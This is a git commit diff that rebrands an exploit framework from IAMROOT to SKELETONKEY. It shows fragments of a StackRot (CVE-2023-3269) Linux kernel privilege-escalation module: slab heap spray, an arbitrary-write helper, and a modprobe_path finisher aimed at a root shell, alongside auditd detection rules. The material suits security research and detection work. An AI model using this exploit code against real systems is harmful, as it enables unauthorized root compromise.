rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -16,7 +16,7 @@ Writeup: <https://lkmidas.github.io/posts/20230724-stackrot/>
|
||||
Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023).
|
||||
Branch backports: 6.4.4 / 6.3.13 / 6.1.37.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN
|
||||
anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* stackrot_cve_2023_3269 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef STACKROT_IAMROOT_MODULES_H
|
||||
#define STACKROT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module stackrot_module;
|
||||
|
||||
#endif
|
||||
+52
-52
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* stackrot_cve_2023_3269 — IAMROOT module
|
||||
* stackrot_cve_2023_3269 — SKELETONKEY module
|
||||
*
|
||||
* "Stack Rot": UAF in maple-tree-based VMA splitting. The maple
|
||||
* tree replaced the rbtree-based VMA store in 6.1; during
|
||||
@@ -28,7 +28,7 @@
|
||||
* Per repo policy ("verified-vs-claimed"): we run the trigger,
|
||||
* record empirical signals (slabinfo delta on kmalloc-192, child
|
||||
* signal disposition, race iteration count), and return
|
||||
* IAMROOT_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
|
||||
* SKELETONKEY_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
|
||||
* SIGBUS/SIGKILL in the race child IS recorded but does NOT get
|
||||
* upgraded to EXPLOIT_OK — only an actual cred swap (euid==0)
|
||||
* does, and we do not currently demonstrate that.
|
||||
@@ -67,7 +67,7 @@
|
||||
* Affects the 6.1 LTS kernels still widely deployed.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -148,12 +148,12 @@ static bool maple_tree_variant_present(const struct kernel_version *v)
|
||||
return false;
|
||||
}
|
||||
|
||||
static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] stackrot: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
|
||||
@@ -163,7 +163,7 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&stackrot_range, &v);
|
||||
@@ -171,14 +171,14 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
|
||||
"no exotic preconditions\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Userns reach ------------------------------------------------- */
|
||||
@@ -436,7 +436,7 @@ static void *race_thread_b(void *arg)
|
||||
|
||||
/* ---- Groom skeleton ---------------------------------------------- */
|
||||
|
||||
/* msg_msg sysv spray for kmalloc-192. Tagged with "IAMROOT_" cookie
|
||||
/* msg_msg sysv spray for kmalloc-192. Tagged with "SKELETONKEY_" cookie
|
||||
* so a forensic look at /proc/slabinfo / KASAN dumps shows our
|
||||
* fingerprint. */
|
||||
static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
|
||||
@@ -445,7 +445,7 @@ static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x4943; /* 'IC' */
|
||||
memset(p.buf, 0x49, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOT_", 8);
|
||||
memcpy(p.buf, "SKELETONKEY_", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < STACKROT_SPRAY_QUEUES; i++) {
|
||||
@@ -530,7 +530,7 @@ static int stackrot_reseed_kaddr_spray(int queues[STACKROT_SPRAY_QUEUES],
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x4943; /* 'IC' */
|
||||
memset(p.buf, 0x49, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOT_", 8);
|
||||
memcpy(p.buf, "SKELETONKEY_", 8);
|
||||
|
||||
/* Pack the target kaddr at byte 8 (one qword in) and the
|
||||
* caller's payload bytes immediately after — this way ANY
|
||||
@@ -619,52 +619,52 @@ static int stackrot_arb_write(uintptr_t kaddr,
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||
iamroot_result_t pre = stackrot_detect(ctx);
|
||||
if (pre == IAMROOT_OK) {
|
||||
skeletonkey_result_t pre = stackrot_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] stackrot: kernel not vulnerable; refusing exploit\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!proc_self_maps_readable()) {
|
||||
fprintf(stderr, "[-] stackrot: /proc/self/maps not readable — exotic env, "
|
||||
"cannot drive the race\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) {
|
||||
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE forking + entering
|
||||
* userns. If modprobe_path is unresolvable we refuse here rather
|
||||
* than running a 30 s race that has no finisher to call. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("stackrot");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("stackrot");
|
||||
fprintf(stderr, "[-] stackrot: --full-chain requested but modprobe_path "
|
||||
"offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] stackrot: even with offsets, race-win reliability is "
|
||||
"well below 1%% per run — see module header.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] stackrot: --full-chain ready — race budget extends to "
|
||||
"%d s, but RELIABILITY REMAINS <1%% per run on a real\n"
|
||||
@@ -683,7 +683,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* 2. Userns reach. Bug is reachable without it, but userns
|
||||
@@ -746,7 +746,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
uint64_t b_faults = atomic_load(&g_race_b_faults);
|
||||
|
||||
/* 6. Empirical witness breadcrumb. */
|
||||
FILE *log = fopen("/tmp/iamroot-stackrot.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-stackrot.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"stackrot race harness:\n"
|
||||
@@ -803,11 +803,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
.arb_calls = 0,
|
||||
.region = ®ion,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
stackrot_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-stackrot.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-stackrot.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
@@ -815,7 +815,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
drain_anon_vma_slab(queues);
|
||||
race_region_teardown(®ion);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
@@ -851,7 +851,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
@@ -860,20 +860,20 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
"(consistent with UAF firing under KASAN)\n", sig);
|
||||
fprintf(stderr, "[~] stackrot: empirical signal recorded; no cred\n"
|
||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See /tmp/iamroot-stackrot.log + dmesg for witnesses.\n");
|
||||
" See /tmp/skeletonkey-stackrot.log + dmesg for witnesses.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] stackrot: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 22 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
||||
if (rc == 23) return IAMROOT_EXPLOIT_FAIL;
|
||||
if (rc == 22 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||
if (rc == 23) return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
/* Finisher reported root-pop success. The shared finisher
|
||||
@@ -883,7 +883,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] stackrot: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
/* Finisher ran but didn't land — by far the expected outcome
|
||||
@@ -893,11 +893,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" win + land within budget (this is the expected\n"
|
||||
" outcome — race-win reliability is <1%% per run).\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] stackrot: child failed at stage rc=%d\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -906,35 +906,35 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t stackrot_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifdef __linux__
|
||||
return stackrot_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] stackrot: Linux-only module; cannot run on this host\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t stackrot_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] stackrot: cleaning up race-harness breadcrumb\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-stackrot.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-stackrot.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
/* The race harness's threads + msg queues live in the child
|
||||
* process which has already exited; nothing else to drain. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
@@ -945,12 +945,12 @@ static const char stackrot_auditd[] =
|
||||
"# stacks, combined with unshare(CLONE_NEWUSER). Each individual call\n"
|
||||
"# is benign — flag the *combination* by correlating these keys with a\n"
|
||||
"# subsequent kernel oops or KASAN message in dmesg.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-stackrot-userns\n"
|
||||
"-a always,exit -F arch=b64 -S mremap -k iamroot-stackrot-mremap\n"
|
||||
"-a always,exit -F arch=b64 -S mprotect -k iamroot-stackrot-mprotect\n"
|
||||
"-a always,exit -F arch=b64 -S munmap -F success=1 -k iamroot-stackrot-munmap\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-stackrot-userns\n"
|
||||
"-a always,exit -F arch=b64 -S mremap -k skeletonkey-stackrot-mremap\n"
|
||||
"-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
|
||||
"-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n";
|
||||
|
||||
const struct iamroot_module stackrot_module = {
|
||||
const struct skeletonkey_module stackrot_module = {
|
||||
.name = "stackrot",
|
||||
.cve = "CVE-2023-3269",
|
||||
.summary = "maple-tree VMA-split UAF (StackRot) → kernel R/W → cred overwrite",
|
||||
@@ -966,7 +966,7 @@ const struct iamroot_module stackrot_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_stackrot(void)
|
||||
void skeletonkey_register_stackrot(void)
|
||||
{
|
||||
iamroot_register(&stackrot_module);
|
||||
skeletonkey_register(&stackrot_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* stackrot_cve_2023_3269 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef STACKROT_SKELETONKEY_MODULES_H
|
||||
#define STACKROT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module stackrot_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user